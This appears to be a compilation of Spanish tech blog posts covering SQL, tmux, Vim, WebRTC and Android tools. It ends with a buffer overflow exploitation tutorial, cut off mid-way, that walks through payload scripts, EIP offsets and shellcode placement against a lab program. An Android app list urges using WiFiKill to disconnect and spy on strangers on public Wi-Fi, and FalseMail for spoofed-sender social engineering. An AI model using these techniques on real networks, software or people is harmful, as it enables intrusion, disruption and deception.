Mac Address Ghost es una herramienta que nos permita cambiar la dirección mac de nuestro android, muy útil cuando se hace filtrado por mac o cuando las tarjetas de internet en los aeropuertos u hoteles son muy caras… jejeje

Enlace del App Store

WiFiKill

Del mismo creador de FaceNiff existe una aplicación llamada WiFiKill que puede sernos útil en diferentes situaciones, por ejemplo, estas en un sitio publico donde sabes que hay una conexión decente a internet, pero esta muy lleno, con mucha gente usando la red para banalidades y necesitas descargar una imagen de 4gb para sacar unos pantallazos y terminar un informe, puedes:
A). buscar un sitio con menos gente y conexión mas rápida
B). utilizar WiFiKill

WifiKill permite desconectar otras personas de una red inalámbrica, es bastante configurable, permitiendo bloquear toda la red, menos tu equipo, un equipo especifico, o un sitio especifico que esta visitando una persona en especial, tiene un modulo de sniffeo que permite saber que sitios están visitando las personas a tu alrededor y poder identificar quien es el/la que esta consumiendo el preciado ancho de banda que necesitas con tanta urgencia.
Seguramente encontrarás algún uso para la herramienta, por lo que debes tenerla dentro de tu arsenal.

Pagina Oficial

Backtrack en tu Android

Existe una aplicación llamada Complete Linux Installer, que permite instalar diferentes distribuciones GNU/Linux en tu dispositivo Android, entre las distribuciones soportadas se encuentra BackTrack 5, por lo que tendrías todas las herramientas incluidas en esta gran distribución diseñada para realizar pruebas de seguridad en tu dispositivo android, la documentación del procedimiento a seguir estara documentado próximamente en la comunidad *todavía no*.

Seguridad Web

Arbisec Web Analyzer

Es una herramienta que permite extraer una gran cantidad de información de un sitio web, no es muy potente pero si útil cuando no tenemos mas que un dispositivo android en la mano.

Enlace del App Store

SandroProxy

Que seria del análisis de la seguridad web sin los proxys como el ZAP o Burp e incluso plugins como Tamper Data o Live HTTP headers para firefox, el equivalente a este tipo de herramientas en android mas completo que conozco es SandroProxy, una excelente herramienta no solo para saber los peticiones que hace nuestro navegador a sitios web, sino las peticiones que hace cualquier aplicación android de cara a Internet, además de permitir instalar plugins externos y generar nuestros propios plugins para manejar los datos que pasen por el.

Enlace del App Store

HTTP Requester

Una útil herramienta que permite hacer peticiones HTTP, modificar parámetros y ver el resultado.

Enlace del App Store

Firefox para Android

Firefox es de los mejores navegadores para equipos de escritorio y sin duda el mejor para android, ya que añade la posibilidad de tener extensiones y potenciar aun mas sus funcionalidades por defecto.

Enlace del App Store

Scripting

Muchos exploits están escritos en lenguajes interpretados como python, perl, ruby, php, etc, otras veces necesitamos en auditorias escribir pequeños programas para automatizar tareas y para todo eso necesitamos que nuestro android soporte estos lenguajes de scripting.

SL4A Script Launcher

SL4A Script Launcher es una aplicación de android que permite ejecutar Python, Perl, Ruby, Lua, Java (BeanShell), JavaScript (Rhino) y una gran cantidad de lenguajes mas desde nuestro dispositivo, de esta forma podemos correr esos scripts que necesitamos para completar el trabajo.

Enlace del App Store

QPython+ (Android Python)

QEdit es un editor de python para android muy completo y que permite escribir esos pequeños programas que a veces son necesarios en auditorias, todo sin usar un equipo de escritorio.

Enlace del App Store

Privacidad/Anonimato

Orbot – Tor on Android

Orbot es la implementación de TOR para android, permite conectarse a la red de la cebolla y conseguir el anonimato que necesitas en un momento determinado.

Enlace del App Store

Element53 Lite

Element53 Lite es una herramienta que permite crear un túnel DNS ya configurado por donde pase nuestro trafico, permite saltar la mayoría de limitaciones que se implementan en las empresas, ya que por lo general estas limitaciones no son aplicadas a este protocolo ~~(con algunos proveedores de servicio se puede conseguir acceso gratis utilizando esta herramienta).~~

Enlace del App Store

ProxyDroid

ProxyDroid es el complemento perfecto de Orbot y Element53, permite ponerle proxy a cualquier aplicación, incluso hacer pasar esta aplicación por la red TOR o por el túnel DNS creado con Element53.

Enlace del App Store

Anonymous Mail y FalseMail

Estas dos herramientas son muy útiles para realizar ataques de ingeniería social, el primero permite enviar correos anónimos con posibilidad que te responda el destinatario, teniendo como intermediario un servidor anónimo, mientras FalseMail permite suplantar el remitente lo cual puede ser bastante útil en determinados casos.

Anonymous Mail y FalseMail

Android PGP

Es una de las mejores implementaciones para PGP en Android, podrás cifrar archivos y mensajes con lo que muchos determinan uno de los mejores cifrados que podemos encontrar a nivel civil.

Enlace del App Store

Utilidades

System Tuner

System Tuner es un conjunto de herramientas que ayudaran a mantener tu sistema android, incluye un terminal, manejo de aplicaciones que se ejecutan al inicio del sistema y otras muchas funciones mas.

Enlace del App Store

ES File Explorer

ES File Explorer, es el mejor administrador de archivos para android, tiene soporte para bluetooth, archivos en red, cliente ftp, administrador de aplicaciones, y otras funciones.

Enlace del App Store

Android Terminal Emulator

Una de las mejores terminales para acceder al core de android, es Android Terminal Emulator que es mucho mas potente si le instalas Busybox (un conjunto de muchas herramientas utilitarias de Unix portadas a android).

Enlace del App Store

Task Killer

Cuando tienes tantas aplicaciones instaladas y pocos recursos en tu dispositivo android, es necesario tener una herramienta que permita cerrar los programas abiertos fácilmente y Task Killer permite hacerlo con solo apretar un botón.

Enlace del App Store

Hacker’s Keyboard

Si vas a usar tu android como herramienta de pentesting, necesitas modificar tu teclado para que las teclas como /, ^, <>, ‘, :, ;, y todas las teclas que usamos tan seguido cuando trabajamos en seguridad, estén mas a la mano y podamos agilizar nuestro trabajo.

Enlace del App Store

Android VNC

Un cliente VNC siempre es bueno tenerlo a la mano, podemos tener clientes para cualquier protocolo en la google play, pero si queremos administrar el backtrack instalado en nuestro android (publicaré el articulo pronto), debemos tener este cliente instalado en nuestro dispositivo.

Enlace del App Store

Si conoces alguna herramienta que no esta lista y cuya funcionalidad no este ya cubierta por una de las aplicaciones expuestas, déjala abajo en los comentarios y con gusto la añadiremos a este articulo.

Fuente: http://www.dragonjar.org/dispositivos-android-como-herramientas-para-test-de-penetracion.xhtml

CONCATENAR USANDO FOR XML PATH Y STUFF

2014-09-03T06:02:00.002-07:00

En el foro de SQL SERVER se cuestiona mucho como concatenar varias filas en una sola, sobre todo esto se utiliza para evitar el uso de los cursores y es mucho más rápido, para comenzar es necesario la tabla AdventureWorks2012.

1 2	`SELECT` `TOP` `10 FirstName` `FROM` `AdventureWorks2012.Person.Person`

Hasta aquí no hay nada, digámoslo de cierta forma, nuevo, pero para poder hacer la concatenación requerimos de la función STUFF y la clausula FOR XML utilizando el modo PATH.

La función STUFF sirve para ingresar una cadena en otra a partir de los parámetros de posición y longitud. Siendo de esta manera, el siguiente ejemplo:

1 2	`SELECT` `TOP` `10 FirstName, STUFF( FirstName, 3,2,'CADENA')` `as` `resultado` `FROM` `AdventureWorks2012.Person.Person`

Lo que nos arroja como resultado:

Y para que funciona FOR XML PATH, para devolver una consulta en formato XML, este es el resultado de una consulta a la base de datos AdventureWorks2012:

SELECT TOP 3 FirstName, MiddleName, LastName LastName

FROM AdventureWorks2012.Person.Person

FOR XML PATH

Y si damos click al resultado, nos muestra esto:

Si agregamos el parámetro, reemplazara el atributo de fila:

SELECT TOP 3 FirstName, MiddleName, LastName LastName

FROM AdventureWorks2012.Person.Person

FOR XML PATH('FILA')

Y que pasa si establecemos un valor vacío?:

Combinando STUFF y FOR XML PATH, podemos lograr concatenar las filas.

SELECT STUFF((

       SELECT TOP 10 ','+FirstName

       FROM AdventureWorks2012.Person.Person

       FOR XML PATH('')

),1,1, '')

Y de esta manera es posible agrupar a un nivel superior:

SELECT

       PC.Name

       ,STUFF((

             SELECT ','+name

             FROM Production.ProductSubcategory PSC

             WHERE PSC.ProductCategoryID = PC.ProductCategoryID

             FOR XML PATH('')

       ),1,1,'')

FROM Production.ProductCategory PC

Algo más complejo, observemos las tablas Sales.SpecialOffer, Sales.SpecialOfferProduct,Production.Product, la primera contiene las ofertas especiales( como su nombre lo indica), la segunda tabla contiene el detallado de los productos que por cada oferta especial y la tercera el detallado de los productos. Lo que queremos obtener es todos los productos de cada oferta especial:

Sales.SpecialOffer:

Sales.SpecialOfferProduct:

Production.Product

La consulta quedaría así:

SELECT SO.SpecialOfferID, SO.Description

, STUFF((

       SELECT ','+p.Name

       FROM sales.SpecialOfferProduct SOP

       INNER JOIN Production.Product P

       ON SOP.ProductID = p.ProductID

       AND SOP.SpecialOfferID = SO.SpecialOfferID

       FOR XML PATH('')

),1,1,'' ) as productos

FROM Sales.SpecialOffer SO

Una forma muy practica y mucho mejor para concatenar valores en comparación que si utilizaramos un cursor.

Espero que les sirva.

Fuente: http://chancrovsky.blogspot.com/2013/04/concatenar-usando-for-xml-path-y-stuff.html

WebRTC: la revolución del videochat desde tu navegador

2014-08-27T10:29:00.000-07:00

WebRTC es una tecnología de código abierto (licencia BSD) en al que llevan trabajando Mozilla, Google y Opera desde hace un tiempo, que nos permite realizar una comunicación web en tiempo real como llamadas de video y chat desde el navegador, sin necesidad de utilizar ningún tipo de plugin, simplemente usando HTML5 y una API basada en Javascript.

Es una tecnología fascinante que algunos piensan que podría cambiar la forma en que se comunica la gente en el mundo digital, libre de estándares propietarios al estilo skype, permitiendo trabajar en cualquier tipo de navegador.

Para entendernos un usuario de Chrome podría comunicarse con cualquier otra persona que tenga Opera o Firefox (esa cosa llamada internet explorer como era de esperar no soporta nada de esto, tampoco Safari por ahora) independientemente también del sistema operativo que usen.

Una buena manera de probar este desarrollo mientras se va incorporando a la versión estable de todos los navegadores es a través de webs como AppRTC (mantenida por el equipo de Google Chrome) o TolBok que trabaja en colaboración con los desarrolladores de Firefox.

Para ello tan solo tenéis que acceder a cualquiera de esas dos páginas, darles permiso para utilizar la webcam y el micro, y a continuación copiar el link que os aparece en la barra de direcciones y compartirlo con las personas con la que deséis chatear.

Llevo desde ayer probando los dos servicios (con un poco más de detalle AppRTC) y he de decir que funcionan bastante bien tanto el audio como el video.

Otra ventaja de esta tecnología es que al estar basado en software libre cualquier desarrollador puede crear sus propias aplicaciones basadas en WebRTC.

Vía | lffl

Imagen | Html5rocks

http://lamiradadelreplicante.com/2014/08/26/webrtc-la-revolucion-del-videochat-desde-tu-navegador/

Tmux: multiples terminales administrados desde una misma consola principal

2014-08-27T10:28:00.002-07:00

Actualmente hay quienes tenemos a cargo la administración de gran variedad de servicios como Web, FTP, correo, DNS, proxy y en algunas ocasiones incluso tenemos asignados el proyecto de elaboración del café para todos los compañeros de trabajo.

Por lo que tener tantas ventanas abiertas en nuestro equipo conlleva a sentirnos que estamos dentro de la Matrix y sin el TOTEM a la mano pueden pasar 24 horas y seguimos colgados frente al PC en modo automático. Pues bien, algunas herramientas, facilitan el control visual de todos los servicios en una sola ventana principal.

Entre las existentes podemos mencionar a Tmux que es un terminal multiplexor con la que podemos tener un gran número de terminales en una sola ventana principal, desde la cual podemos acceder y controlarlos, ofreciendo la ventaja de continuar funcionando cada una de las ventanas en segundo plano.

Una sesión es una colección de seudo-terminales bajo la dirección de tmux. Cada sesión tiene una o más ventanas vinculadas. Una ventana ocupa toda la pantalla y puede ser dividido en paneles rectangulares, cada uno de los cuales es un seudo-terminal separado.

Para hacer uso de las opciones de la herramientas debemos tener como punto de apoyo la secuencia de teclas Ctrl+b seguido de la opción que queremos ejecutar.

El proceso de instalación, en algunas distros basadas en Debian como Ubuntu, se puede hacer uso de apt (Advanced Packaging Tool) para su sencillo proceso de instalación.

sudo apt-get install tmux

Los que uséis Fedora

sudo yum install tmux

En caso de que utilicéis Arch Linux o derivadas

sudo pacman -S tmux

Por último los usuarios de openSUSE


su

ypper in tmux
z

Entre las opciones que podemos usar con tmux que nos permitan la movilidad entre las ventanas, se pueden mencionar las siguientes.

Para movernos al panel anterior, usamos: Ctrl+b p
Para movernos al panel siguiente, podemos usar: Ctrl+b o
Para cambiarnos entre paneles: Ctrl+b q , seguido del numero que se visualiza en la ventana.

Para dividir la ventana en vertical, de izquierda a derecha: Ctrl+b %
Para salir de Tmux, usamos: Ctrl+b &
Para salir de la ventana actual Ctrl+b ! o podemos usar también: Ctrl+d
Para conocer las diversas opciones que presenta la herramienta podemos usar: Ctrl+b

Para dividir la ventana en horizontal, de arriba, hacia abajo: Ctrl+b “
Para renombrar la venta actual: Ctrl+b ,
Para finalizar el panel actual, con mensaje de confirmación, donde esta tomado el cursor se usa la secuencia: Ctrl+b x

Fuente: http://lamiradadelreplicante.com/2014/08/27/tmux-multiples-terminales-administrados-desde-una-misma-consola-principal/

Cómo emular ubicaciones falsas en Android

2014-08-22T08:13:00.003-07:00

Una de las funciones más útiles que podemos darle a nuestro smartphone es la de navegador GPS, puede sacarnos de un apuro, de un callejón sin salida nunca mejor dicho y además podemos gracias a ese módulo también podemos disfrutar de decenas de aplicaciones que hacen uso de nuestra localización, mandar la ubicación a amigos y familiares por mensajería, localizar nuestro teléfono si lo hemos perdido o “simplemente” etiquetar las fotos con el lugar en el que las hemos tomado.
Sin embargo, no a todo el mundo puede hacerle gracia que diversos servicios puedan tenerle localizado, que condicionen tus búsquedas a donde te encuentras. Lo bueno es que puedes evitarlo emulando ubicaciones falsas desde tu propio teléfono y, aunque no lo creas, entre las opciones de desarrollador está la opción “escondida”. Vamos a explicar cómo hacerlo:

Antes de nada, es probable que no veáis esas “Opciones de desarrollo” en el menú de Ajustes de vuestro dispositivo, es normal, por defecto vienen ocultas, ya que ahí no hay mucho que mirar para el usuario medio. Para activarlas entramos a Ajustes > Información del teléfono y bajamos hasta el apartado que pone “Número de compilación”.

Sobre él, pulsamos repetidas veces (7 en concreto), hasta que aparezca el aviso de que ya están activadas las opciones de desarrollo. Vamos de nuevo al listado general de Ajustes y ahí están por el final. Entramos y veréis muchas opciones y submenús que no sabremos para qué son, mucho ojo con lo que tocáis por aquí. Lo que nos interesa es la opción de “Ubicaciones Simuladas“, activamos la casilla y listo.
Esta opción está indicada para que los desarrolladores puedan testear el funcionamiento de los servicios de ubicación en sus apps sin tener que desplazarse, como explica Google entre su documentación para devs, y para que nosotros podamos fingir ubicaciones falsas tan sólo debemos ir a Google Play y buscar “fake gps” o “fake location” y nos devolverá una decena de apps, aquí os dejamos algunas directamente:

ubicación falsa

Requiere Android 2.3 y versiones superiores

Versión: 3.01

Tamaño: 2,2M

INSTALAR

Fuente: http://www.elandroidelibre.com/2014/08/como-emular-ubicaciones-falsas-en-android.html

Cheat sheets para manejar Vi/Vim

2014-08-20T12:51:00.004-07:00

Vi o su versión mejorada VIM (Vi Improved) es uno de los editores de texto favoritos por muchos desarrolladores a la hora de programar, siendo habitual que las distribuciones GNU/Linux lo incluyan por defecto en su instalación. A pesar de su enorme popularidad no se puede decir que tenga un interfaz muy intuitiva, por lo si empezamos desde cero con el, siempre está bien tener una hoja o chuleta de trucos que nos faciliten el aprendizaje del mismo, ahorrándonos tiempo y esfuerzo

Vía Google + me he encontrado una interesante cheat sheet desarrollada por Mischa Poslawsky aka Shiar licenciada bajo AGPLv3.

En total son varias chuletas interactivas en las que podemos observar los principales diferentes modos de funcionamiento de estos editores.

Modo Normal. Es la forma predeterminada de trabajar con Vim, permite emplear combinaciones de teclas para trabajar en el formato del texto (copiar, borrar, mover)

Modo Visual: Para la navegación y la selección de bloques de texto, este modo permite realizar la mayoría de los comandos normales, y algunos comandos adicionales, sobre el texto seleccionado

Modo Inserción: al activarlo funciona igual que la mayoría de los editores de texto “normales” y se puede iniciar pulsando la tecla i (algo que podéis comprobar en la propia web de Shiar)

Si os interesa tener estas mismas chuletas pero con una resolución superior y al mismo tiempo practicar con algunos de los atajos de Vim os recomiendo que os paséis por la web del autor.

Vía | nixCraft Linux Blog

Fuente: http://lamiradadelreplicante.com/2014/08/20/marchando-unas-fantasticas-cheat-sheets-para-manejar-vivim/

FBCacheView v1.03 - View Facebook images stored in the cache of your Web browser

2014-08-20T12:45:00.001-07:00

FBCacheView is a simple tool that scans the cache of your Web browser (Internet Explorer, Firefox, or Chrome), and lists all images displayed in Facebook pages that you previously visited, including profile pictures, images uploaded to Facebook, and images taken from other Web sites. For every Facebook image, the following information is displayed: URL of the image, Web browser that was used to visit the page, image type, date/time of the image, visit time, image file size, and external URL (For images taken from another Web site).

Columns Description

URL: The URL of the image on Facebook.
Web Browser: The Web browser that stores the specified Facebook image file in the cache.
Image Type: The type of the image: Profile image, uploaded image, or external image taken from another Web site. For 'External Image' type, the original URL of the image is displayed on 'External URL' column.
Image Time: The date/time of the image as returned by the Web server of Facebook. This column usually represents the time that the image was uploaded to Facebook.
Browsing Time: The last time that the specified Facebook image was loaded by your Web browser.
File Size: The file size of the image.
Filename: The full path of the image filename in the cache of your Web browser.
External URL: Displays the original URL of the image (Only for external images)

Download FBCacheView v1.03

Fuente: http://hack-tools.blackploit.com/2014/08/fbcacheview-v103-view-facebook-images.html

Extraer texto de una imagen.

2014-08-18T10:14:00.001-07:00

Buenos días.

Hoy presente una buena herramienta que me ha servido mucho para pasar de unas imágenes escaneadas a texto, cabe anotar que solo detecta texto , ya las tablas se debe usar programas mas "avanzados" en mi caso use uno llamado "ABBYY_FineReader_11.0.102.583_Pro_Light_Portable".

Combinando estas dos herramientas es prácticamente una extracción completa de texto y "organizado", Epson actualmente tambien trae un software propio para realizar esta acción pero "debemos comprar sus productos" en este caso el uso es gratuito y online.

Link de la herramienta:

http://www.onlineocr.net/

Saludos jadcodianos.

Problemas luego de instalar compiz en ubuntu 14.04

2014-08-18T10:09:00.002-07:00

Buenos días.

Los que veniamos acostumbrados en las viejas épocas de linux sabiamos de la existencia del compiz que ultimamente ya no se ha vuelto a ver en su furor inicial.

Lamentablemente al parecer tiene muchos conflictos en ubuntu con su nueva intefaz y al instalarlo nos "borrar" las barras de navegación, para solucionar este problema debemos seguir los siguientes pasos:

Si no carga el video, este es el link directo: https://www.youtube.com/watch?v=hvn1OEab1OE
Personalmente ya no me salia el escritorio por lo tanto mi "solución" fue la siguiente:

Instalar gnome-shell para tener otro escritorio para entrar, primero que todo pulsa control-alt-f1 para sacar la consola y luego seguir los siguientes pasos:

sudo apt-get install gnome-shell

Esto descargará desde los repositorios de Ubuntu el escritorio gnome-shell y lo instalará en nuestro Ubuntu.
Con esto ya no sería necesario hacer nada más, ya que tendríamos instalado el escritorio gnome-shell, lo único que para acceder a él hay que hacerlo reiniciando el sistema y clicando en la rueda que aparece en el inicio de sesión, justo en la pantalla que introducimos nuestra contraseña:

Clicando en la opción gnome, nos deberá aparecer en el nuevo inicio de sesión el impresionante y funcional escritorio de gnome-shell:

Configurando gnome-shell como escritorio por defecto

Si quieres que gnome-shell se el escritorio por defecto al iniciar sesión en Ubuntu, tan solo deberás abrir una nueva terminal y tipear la siguiente orden:
sudo /usr/lib/lightdm/lightdm-set-defaults -s gnome-shell

Con esto cada vez que iniciemos sesión en nuestro sistema operativo, será el nuevo escritorio de gnome-shell el que se iniciará por defecto, si quisierais volver a poner por defecto el escritorio de unity tan solo deberíais teclear la siguiente linea en una nueva terminal:
sudo /usr/lib/lightdm/lightdm-set-defaults -s ubuntu

Con esto ya tendremos correctamente instalado gnome-shell, el escritorio más espectacular, según mi opinión personal, para nuestra distro Linux favorita.

Fuentes:
http://ubunlog.com/como-cambiar-escritorio-unity-por-gnome-3/
https://www.youtube.com/watch?v=hvn1OEab1OE

Links de ayuda:

http://www.ubuntu-es.org/node/180509#.U_IxhGPzwVV
http://www.enqlu.com/2014/03/how-to-install-gnome-shell-desktop-in-ubuntu-14-04-lts.html
http://blog.intropedro.com/es/content/instalar-o-desinstalar-gnome-kde-o-xfce-en-ubuntu
http://www.ubuntu-guia.com/2011/05/recuperar-restaurar-unity-ubuntu.html
http://www.ubuntu-es.org/node/180509#.U_BFqWPzxRI
http://www.ubuntu-guia.com/2012/07/restaurar-gnome-compiz-y-unity-en.html
http://askubuntu.com/questions/214529/unity-launcher-has-disappeared
http://askubuntu.com/questions/17381/unity-doesnt-load-no-launcher-no-dash-appears
www.itworld.com/software/416001/reset-unity-desktop-ubuntu-1404
http://www.omgubuntu.co.uk/2014/04/ubuntu-14-04-classic-gnome-flashback-session
http://askubuntu.com/questions/462914/how-to-reinstall-unity-desktop-on-ubuntu-14-04
http://www.ubuntu-guia.com/2012/03/en-ubuntu-12.html
http://ubuntuforums.org/showthread.php?t=2004960
http://askubuntu.com/questions/80388/lost-access-to-the-unity-interface-how-to-fix
http://ubuntuhandbook.org/index.php/2014/04/reset-unity-and-compiz-settings-in-ubuntu-14-04/
http://www.softzone.es/2014/02/26/prueba-unity-8-con-mir-desde-el-nuevo-ubuntu-14-04/
http://www.htpcbeginner.com/install-gui-on-ubuntu-server-14-04-gnome/
http://www.taringa.net/posts/linux/16480401/Combinaciones-de-teclas-para-acceso-directo-de-Linux.html

Explotar un Buffer Overflow

2014-08-08T05:53:00.001-07:00

Codigo del Programa a Analizar:

#include 

#include 

using namespace std;

int main(int argc, char *argv[])

{

char Nombre[20];

FILE *archivo;

char letras[1000];

archivo = fopen("config.txt", "r");

fgets(letras, 1000, archivo);

strcpy(Nombre, letras);

printf("%s\n", Nombre);

system("PAUSE");

fclose;

return EXIT_SUCCESS;

}

Este breve comando en C procede a leer de un archivo de configuracion "config.txt" cierta cantidad de letras con el comando fgets, si googleamos un poco
vemos que esta instruccion no controla la cantidad de datos que soporta ni la cantidad de datos que resivira, por lo que por logica, si este comando esta
preparado para recivir 1000 letras y nostros le enviamos 1001 letras esto resultara en un Buffer Overflow y el tipico Cartel de Corrupcion de Memoria.

Entendido el Concepto estamos listos para Probar si esto es cierto.

Utilizando algun lenguaje de programacion (en mi caso python) empesaremos a preprar el exploit.

1

2

3

4

5

6

Variable = 'A'

for a in range (999):

   Variable = Variable + 'A'

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Con este Simple Código Probaremos el Concepto, esto creara un archivo config.txt que contendra 1000 letras A concatenadas.

Sustituimos el archivo de configuracion del programa por el nuestro y vemos como crashea:

Vemos como en un segundo el programa crashea y al no tener un control de Exepcion de Control, mejor conocido como Exeption Handling no salta la clasica ventanita de windows informando que el programa se cerro inesperadamente.

Analicemos con Ollydbg:

Vemos el cartel que nos muestra como el EIP ha sido Sobre Escrito con el codigo hexagecimal 41414141 en nuestro caso AAAA. Hemos Encontrado nuestro BOF, es momento de Explotarlo.

Lo primero que necesitamos es encontrar la direccion exacta donde se realiza la sobre escritura, para eso utilizariamos metasploit

Vamos a nuestra ruta de metasploit y entramos en la carpeta tools

ejecutamos sudo ./pattern_create.rb 1000

y vemos un string de 1000 caracteres irrepetibles, esto nos servira a encontrar el largo exacto de la cadena al momento de la sobree escritura

Sustituimos nuestra la variable de nuestro script en python por el string generado con metasploit

queda de esta manera:

1

2

3

4

5

6

7

Variable = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

#for a in range (999):

    #Variable = Variable + 'A'

Variable = Variable

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Ejecutamos este script en python y sustituimos nuevamente el archivo de configuracion. (config.txt)

Ejecutamos nuevamente con ollydbg y vemos el string exacto en exagecimal con el que se sustituyo el EIP

Anotamos este Codigo:

66413965

vamos de nuevo a nuestra ruta de metasploit y ejecutamos:

sudo ./pattern_offset.rb 66413965

Vemos el resultado 148, esto es la direccion exacta de donde comienza el EIP

Exact match at offset 148

Vamos a Modificar nuevamente nuestro script en python, queda asi:

Variable = 'A'

for a in range (147): #Cuenta desde 0 por lo que queda en 148

    Variable = Variable + 'A'

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Sustituimos nuevamente el archivo de configuracion por el nuevo generado por el exploit
Ejecutamos y vemos el siguiente resultado:

Se preguntaran porque se sobreescribe el EIP, si estamos escribiendo 148 caracteres y esto nos pociciona justo en el momento de la sobre escritura?
Esto sucede porq los 148 bytes es la distancia con la cadena sobre escrita osea 4 bytes mas del AAAA con que se sobreeescribe el EPI, por lo que 148-4 = 144 Esto nos posicionara al comieso del EIP sin Sobreescribirlo:

Modificamos el Script y lo dejamos asi:

1

2

3

4

5

6

Variable = 'A'

for a in range (143): #Cuenta desde 0 por lo que queda en 144

    Variable = Variable + 'A'

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Sustituimos el archivo y ejecutamos nuevamente el programa.

Como vemos el programa no crashea lo q significa q no hemos sobre escrito el EIP y con suerte estamos posicionados al pie de Nuestro EIP, Probemos esto.
Modificamos Nuestro Script y lo dejamos asi:

Variable = 'A'

EIP = 'BBBB'

for a in range (143): #Cuenta desde 0 por lo que queda en 144

    Variable = Variable + 'A'

Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Copiamos el archivo generado por nuestro exploit y ejecutamos nuevamente el programa

Con esto en la mayoria de los BOF estaremos en el pie del EIP o Relativamente muy cerca con variaciones de +- 4 bytes, Este no es el caso y vemos que el soft sigue crasheando por lo q aplicaremos algo que se conoce como acorralar offset

sabemos que la sobree escritura de nuestro EIP se Produce dentro de los 148 bytes, por lo q dividiremos esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.

74 bytes 'A' y 74 bytes 'B'

Nuestro Script Quedara Asi:

VariableA = 'A'

VariableB = 'B'

Variable = ''

for a in range (74):

    Variable = Variable + 'A'

for b in range (74):

    Variable = Variable + 'B'

#Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

copiamos el archivo de configuración y ejecutamos:

Como vemos la sobreescritura es de 41414141 o lo q es lo mismo AAAA

dedusimos que la sobre escritura se produce en los primeros 74 bytes.

realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit
creando una cadena al asar e irrepetible de 74 bytes, al ejecutar el programa nueavamente vemos que se sobree escribe el EIP con: 35624134

Pasamos pattern_offset 0x35624134 74

y nos da como resultado 44 bytes, Posiblemente aqui sea donde se sobreescribe el EIP.

Modificamos el Script:

VariableA = 'A'

EIP = 'BBBB'

Variable = ''

for a in range (44):

    Variable = Variable + 'A'

Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Como podemos ver EIP se SobreEscribe con 42424242 por lo que hemos hayado la posicion exacta del EIP

procederemos a realizar nuestro exploit con nuestro shellCode:

La estructura de nuestro script sera:

44 Bytes: A

4 bytes: B (EPI)
100 bytes: C (ShellCode)

El Script queda de esta manera:

VariableA = 'A'

EIP = 'BBBB'

Variable = ''

ShellCode = ''

for a in range (44): #Cuenta desde 0 por lo que queda en 144

    Variable = Variable + 'A'

Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP   

for b in range (100):

    ShellCode = ShellCode + 'C'

Variable = Variable+ShellCode

Archivo = open("config.txt","r+")

Archivo.write('%s' %(Variable))

Archivo.close()

Copiamos el archivo de configuración generado a la ruta del software vulnerable y ejecutamos con Ollydbg.

Como podemos ver en los Registros, tenemos:

.EIP SobreEscrito con 42424242 (BBBB)
.ESP SobreEscrito con 100 bytes de 'C'

Esto nos indica que Debemos realizar un Salto con EIP al ESP donde nuestra shellCode Tiene un espacio de 100 bytes (espacio que pude variar dependiendo cuanto indagemos) para ser alojada.

Consigamos un Salto a ESP:

Abrimos Con Nuestro OllyDbg el software vulnerable, cliqueamos en la letra E en la barra Superior de Olly (Executable Modules)

Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:

JMP ESP
CALL ESP

o alguna variacion matematica q nos pocicione en ESP

POP POP RET
PUSH PUSH POP, etc.

Una ves que llegamos a esto en mi caso un CALL ESP anotamos la direccion y volvemos al script

